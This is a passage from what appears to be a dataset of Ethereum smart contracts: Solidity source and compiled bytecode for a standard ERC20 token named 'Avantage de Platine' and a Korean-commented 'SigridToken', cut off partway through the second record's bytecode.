the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title ERC20 token contract of Avantage de Platine */ contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 10000000000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("Avantage de Platine", "ADP", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146104c9578063a457c2d71461054c578063a9059cbb146105b2578063dd62ed3e14610618578063f2fde38b1461069057610121565b806370a08231146103ad578063715018a61461040557806379cc67901461040f5780638da5cb5b1461045d5780638f32d59b146104a757610121565b80632e0f2625116100f45780632e0f2625146102b35780632ff2e9dc146102d7578063313ce567146102f5578063395093511461031957806342966c681461037f57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806323b872dd1461022d575b600080fd5b61012e6106d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b61021761078d565b6040518082815260200191505060405180910390f35b6102996004803603606081101561024357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b6102bb610848565b604051808260ff1660ff16815260200191505060405180910390f35b6102df61084d565b6040518082815260200191505060405180910390f35b6102fd610860565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610877565b604051808215151515815260200191505060405180910390f35b6103ab6004803603602081101561039557600080fd5b810190808035906020019092919050505061091c565b005b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610929565b6040518082815260200191505060405180910390f35b61040d610971565b005b61045b6004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aac565b005b610465610aba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af610ae4565b604051808215151515815260200191505060405180910390f35b6104d1610b3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105986004803603604081101561056257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b6105fe600480360360408110156105c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c83565b604051808215151515815260200191505060405180910390f35b61067a6004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9a565b6040518082815260200191505060405180910390f35b6106d2600480360360208110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561076c5780601f106107415761010080835404028352916020019161076c565b820191906000526020600020905b81548152906001019060200180831161074f57829003601f168201915b5050505050905090565b6000610783338484610da7565b6001905092915050565b6000600254905090565b60006107a4848484610f9e565b61083d843361083885600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b610da7565b600190509392505050565b601281565b601260ff16600a0a6509184e72a0000281565b6000600560009054906101000a900460ff16905090565b6000610912338461090d85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123d90919063ffffffff16565b610da7565b6001905092915050565b61092633826112c5565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610979610ae4565b6109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab68282611463565b5050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd45780601f10610ba957610100808354040283529160200191610bd4565b820191906000526020600020905b815481529060010190602001808311610bb757829003601f168201915b5050505050905090565b6000610c793384610c7485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b610da7565b6001905092915050565b6000610c90338484610f9e565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d29610ae4565b610d9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610da48161150a565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116dd6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061169a6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611024576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116516023913960400191505060405180910390fd5b611075816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611108816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561122c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110156112bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116bc6021913960400191505060405180910390fd5b611360816002546111b490919063ffffffff16565b6002819055506113b7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61146d82826112c5565b611506823361150184600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b610da7565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611590576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116746026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72305820e7907a133f4f8e5da9ea47c9b1cccfe4e32f511843247ccd36743d0d0822896b64736f6c634300050a0032
{"success": true, "error": null, "results": {}}
8,572
0xbf5887225f4e520269a78a596b6d84fc13c3061c
pragma solidity ^0.5.0; /** * @dev EIP에 정의된 ERC20 표준 인터페이스 추가 함수를 포함하지 않습니다; * 이들에 접근하려면 `ERC20Detailed`을 확인하세요. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev 두 부호 없는 정수의 합을 반환합니다. * 오버플로우 발생 시 예외처리합니다. * * 솔리디티의 `+` 연산자를 대체합니다. * * 요구사항: * - 덧셈은 오버플로우될 수 없습니다. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev 두 부호 없는 정수의 차를 반환합니다. * 결과가 음수일 경우 오버플로우입니다. * * 솔리디티의 `-` 연산자를 대체합니다. * * 요구사항: * - 뺄셈은 오버플로우될 수 없습니다. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev 두 부호 없는 정수의 곱을 반환합니다. * 오버플로우 발생 시 예외처리합니다. * * 솔리디티의 `*` 연산자를 대체합니다. * * 요구사항: * - 곱셈은 오버플로우될 수 없습니다. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // 가스 최적화: 이는 'a'가 0이 아님을 요구하는 것보다 저렴하지만, // 'b'도 테스트할 경우 이점이 없어집니다. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev 두 부호 없는 정수의 몫을 반환합니다. 0으로 나누기를 시도할 경우 * 예외처리합니다. 결과는 0의 자리에서 반올림됩니다. * * 솔리디티의 `/` 연산자를 대체합니다. 참고: 이 함수는 * `revert` 명령코드(잔여 가스를 건들지 않음)를 사용하는 반면, 솔리디티는 * 유효하지 않은 명령코드를 사용해 복귀합니다(남은 모든 가스를 소비). * * 요구사항: * - 0으로 나눌 수 없습니다. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // 솔리디티는 0으로 나누기를 자동으로 검출하고 중단합니다. require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // 이를 만족시키지 않는 경우가 없어야 합니다. return c; } /** * @dev 두 부호 없는 정수의 나머지를 반환합니다. (부호 없는 정수 모듈로 연산), * 0으로 나눌 경우 예외처리합니다. * * 솔리디티의 `%` 연산자를 대체합니다. 이 함수는 `revert` * 명령코드(잔여 가스를 건들지 않음)를 사용하는 반면, 솔리디티는 * 유효하지 않은 명령코드를 사용해 복귀합니다(남은 모든 가스를 소비). * * 요구사항: * - 0으로 나눌 수 없습니다. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev `IERC20` 인터페이스의 구현 * * 이 구현은 토큰이 생성되는 방식과 무관합니다. 이는 * 파생 컨트랙트에 `_mint`를 이용한 공급 메커니즘이 추가되어야 한다는 의미입니다. * 일반적인 메커니즘은 `ERC20Mintable`을 참조하세요. * * *자세한 내용은 가이드 [How to implement supply mechanisms] * (https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226)를 참고하세요.* * * 일반적인 OpenZeppelin 지침을 따랐습니다: 함수는 실패시 `false`를 반환하는 대신 * 예외처리를 따릅니다. 그럼에도 이는 관습적이며 * ERC20 애플리케이션의 기대에 반하지 않습니다. * * 또한, `transferFrom` 호출 시 `Approval` 이벤트가 발생됩니다. * 이로부터 애플리케이션은 해당 이벤트를 수신하는 것만으로 * 모든 계정에 대한 허용량(allowance)을 재구성 할 수 있습니다. 이는 스펙에서 요구되지 않으므로, EIP에 대한 다른 구현체는 * 이러한 이벤트를 발생하지 않을 수 있습니다. * * 마지막으로, 표준이 아닌 `decreaseAllowance` 및 `increaseAllowance` * 함수가 추가되어 허용량 설정과 관련해 잘 알려진 문제를 * 완화했습니다. `IERC20.approve`를 참조하세요. */ contract SigridToken is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol 시작 부분을 참고 string public constant _name = "Sigrid Jin👩"; string public constant _symbol = "SIGJ👩"; uint8 public constant _decimals = 18; constructor() public { _mint(msg.sender, 180 * 10 ** uint(_decimals)); // 주의! } function name() public view returns (string memory) { return _name; } /** * @dev 주로 이름을 줄여서 표현한 토큰 심볼을 * 반환합니다. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev 사용자 표현을 위한 소수 자릿수를 반환합니다. * 예를 들어, `decimals`이 `2`인 경우, 505` 토큰은 * 사용자에게 `5,05` (`505 / 10 ** 2`)와 같이 표시되어야 합니다. * * 토큰은 보통 18의 값을 취하며, 이는 Ether와 Wei의 관계를 * 모방한 것입니다. * * > 이 정보는 디스플레이 목적으로만 사용됩니다. * `IERC20.balanceOf`와 `IERC20.transfer`를 포함해 * 컨트랙트의 산술 연산에 어떠한 영향을 주지 않습니다. */ function decimals() public view returns (uint8) { return _decimals; } // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol 끝 부분을 참고 uint256 private _totalSupply; /** * @dev `IERC20.totalSupply`를 참조하세요. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev `IERC20.balanceOf`를 참조하세요. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev `IERC20.transfer`를 참조하세요. * * 요구사항 : * * - `recipient`는 영 주소(0x0000...0)가 될 수 없습니다. * - 호출자의 잔고는 적어도 `amount` 이상이어야 합니다. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev `IERC20.allowance`를 참조하세요. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev `IERC20.approve`를 참조하세요. * * 요구사항: * * - `spender`는 영 주소가 될 수 없습니다. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev `IERC20.transferFrom`를 참조하세요. * * 업데이트된 허용량을 나타내는 `Approval` 이벤트가 발생합니다. 이것은 EIP에서 * 요구되는 바가 아닙니다. `ERC20`의 시작 부분에 있는 참고 사항을 참조하세요. * * 요구사항: * - `sender`와 `recipient`는 영 주소가 될 수 없습니다. * - `sender`의 잔고는 적어도 `value` 이상이어야 합니다. * - 호출자는 `sender`의 토큰에 대해 최소한 `amount` 만큼의 허용량을 * 가져야 합니다. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev 호출자에 의해 원자적(atomically)으로 `spender`에 승인된 허용량을 증가시킵니다. * * 이것은 `IERC20.approve`에 기술된 문제에 대한 완화책으로 사용될 수 있는 * `approve`의 대안입니다. * * 업데이트된 허용량을 나타내는 `Approval` 이벤트가 발생합니다. * * 요구사항: * * - `spender`는 영 주소가 될 수 없습니다. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev 호출자에 의해 원자적으로 `spender`에 승인된 허용량을 감소시킵니다. * * 이것은 `IERC20.approve`에 기술된 문제에 대한 완화책으로 사용될 수 있는 * `approve`의 대안입니다. * * 업데이트된 허용량을 나타내는 `Approval` 이벤트가 발생합니다. * * 요구사항: * * - `spender`는 영 주소가 될 수 없습니다. * - `spender`는 호출자에 대해 최소한 `subtractedValue` 만큼의 허용량을 * 가져야 합니다. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev `amount`만큼의 토큰을 `sender`에서 `recipient`로 옮깁니다. * * 이는 `transfer`와 동일한 내부의(internal) 함수이며, 자동 토큰 수수료, * 차감 메커니즘 등의 구현에 사용 가능합니다. * * `Transfer` 이벤트를 발생시킵니다. * * 요구사항: * * - `sender`는 영 주소가 될 수 없습니다. * - `recipient`은 영 주소가 될 수 없습니다. * - `sender`의 잔고는 적어도 `amount` 이상이어야 합니다. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev `amount`만큼의 토큰을 생성하고 `account`에 할당합니다. * 전체 공급량을 증가시킵니다. * * `from`이 영 주소로 설정된 `Transfer` 이벤트를 발생시킵니다. * * 요구사항: * * - `to`는 영 주소가 될 수 없습니다. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev `account`로부터 `amount`만큼의 토큰을 파괴하고, * 전체 공급량을 감소시킵니다. * * `to`가 영 주소로 설정된 `Transfer` 이벤트를 발생시킵니다. * * 요구사항: * * - `account`는 영 주소가 될 수 없습니다. * - `account`는 적어도 `amount`만큼의 토큰이 있어야 합니다. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(value); _totalSupply = _totalSupply.sub(value); emit Transfer(account, address(0), value); } /** * @dev `owner`의 토큰에 대한 `spender`의 허용량을 `amount`만큼 설정합니다. * * 이는 `approve`와 동일한 내부의(internal) 함수이며, 특정 하위 시스템에 대한 * 자동 허용량 설정 등의 구현에 사용 가능합니다. * * `Approval` 이벤트를 발생시킵니다. * * 요구사항: * * - `owner`는 영 주소가 될 수 없습니다. * - `spender`는 영 주소가 될 수 없습니다. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev `account`로부터 `amount`만큼의 토큰을 파괴하고, * 호출자의 허용량으로부터 `amount`만큼을 공제합니다. * * `_burn` 및 `_approve`를 참조하세요. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb1461046b578063b09f1266146104d1578063d28d885214610554578063dd62ed3e146105d7576100ea565b806370a082311461032a57806395d89b4114610382578063a457c2d714610405576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806332424aa3146102a057806339509351146102c4576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f761064f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068c565b604051808215151515815260200191505060405180910390f35b6101e06106a3565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ad565b604051808215151515815260200191505060405180910390f35b61028461075e565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610767565b604051808260ff1660ff16815260200191505060405180910390f35b610310600480360360408110156102da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076c565b604051808215151515815260200191505060405180910390f35b61036c6004803603602081101561034057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610811565b6040518082815260200191505060405180910390f35b61038a610859565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ca5780820151818401526020810190506103af565b50505050905090810190601f1680156103f75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104516004803603604081101561041b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610896565b604051808215151515815260200191505060405180910390f35b6104b76004803603604081101561048157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093b565b604051808215151515815260200191505060405180910390f35b6104d9610952565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105195780820151818401526020810190506104fe565b50505050905090810190601f1680156105465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61055c61098b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059c578082015181840152602081019050610581565b50505050905090810190601f1680156105c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610639600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c4565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f536967726964204a696ef09f91a9000000000000000000000000000000000000815250905090565b6000610699338484610a4b565b6001905092915050565b6000600254905090565b60006106ba848484610c42565b610753843361074e85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ede90919063ffffffff16565b610a4b565b600190509392505050565b60006012905090565b601281565b6000610807338461080285600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f6790919063ffffffff16565b610a4b565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600881526020017f5349474af09f91a9000000000000000000000000000000000000000000000000815250905090565b6000610931338461092c85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ede90919063ffffffff16565b610a4b565b6001905092915050565b6000610948338484610c42565b6001905092915050565b6040518060400160405280600881526020017f5349474af09f91a900000000000000000000000000000000000000000000000081525081565b6040518060400160405280600e81526020017f536967726964204a696ef09f91a900000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061105a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b57576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110136022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110356025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610ff06023913960400191505060405180910390fd5b610d9f816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ede90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e32816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffff